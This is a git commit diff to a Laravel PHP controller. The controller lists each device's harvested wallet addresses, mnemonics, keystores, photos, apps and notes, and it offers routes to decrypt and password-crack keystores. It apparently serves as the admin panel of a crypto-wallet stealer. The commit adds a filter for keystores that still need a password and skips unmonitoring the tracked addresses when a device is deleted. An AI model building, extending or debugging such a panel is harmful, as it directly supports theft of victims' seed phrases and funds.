feat: app

This commit is contained in:
hashbro
2026-10-05 06:12:43 +08:00
parent e654f65cf9
commit cb92baa395
32 changed files with 3583 additions and 1019 deletions
+24 -32
View File
@@ -22,7 +22,6 @@ use App\Models\WalletMnemonic;
use App\Services\DsBeaconQueue;
use App\Services\PhotoOrigin;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Builder;
@@ -171,7 +170,7 @@ class DeviceController extends Controller
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
@@ -519,28 +518,20 @@ class DeviceController extends Controller
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
$n = $device->addresses()->where('monitor', 1)->count();
if ($n === 0) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$address->monitor_synced = false;
$address->monitor_failures = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
]);
}
}
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
// ingest can leave dozens of monitor=1 rows; blocking delete on that
// freezes the admin UI (and php artisan serve). Rows are deleted in
// the next step, so webhooks will no longer match monitor=1.
Log::info('device_purge skip_tokenview_unmonitor', [
'id' => $device->id,
'device_id' => $device->device_id,
'monitor_rows' => $n,
]);
}
private function authorizeDevice(Device $device): void
@@ -675,18 +666,21 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
if (WalletKeystore::hasNeedsPasswordColumn()) {
$sortable[] = 'needs_password';
}
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
// Step 1: get paginated IDs ordered by the sort field (no blob access).
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
$idQuery = $device->keystores()->orderBy($field, $order);
$needsPassword = trim((string) $request->query('needs_password', ''));
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
$idQuery->where('wallet_keystores.needs_password', 1);
}
$total = $idQuery->toBase()->getCountForPagination();
$page = max(1, $page);
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
@@ -708,14 +702,12 @@ class DeviceController extends Controller
'id' => $row->id,
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
];
})->values();
@@ -729,7 +721,7 @@ class DeviceController extends Controller
$field = 'is_wallet';
$order = 'desc';
}
$q = $device->apps();
$q = $device->apps()->listed();
if ($field === 'is_wallet') {
$q->orderByDesc('is_wallet')->orderBy('name');
} else {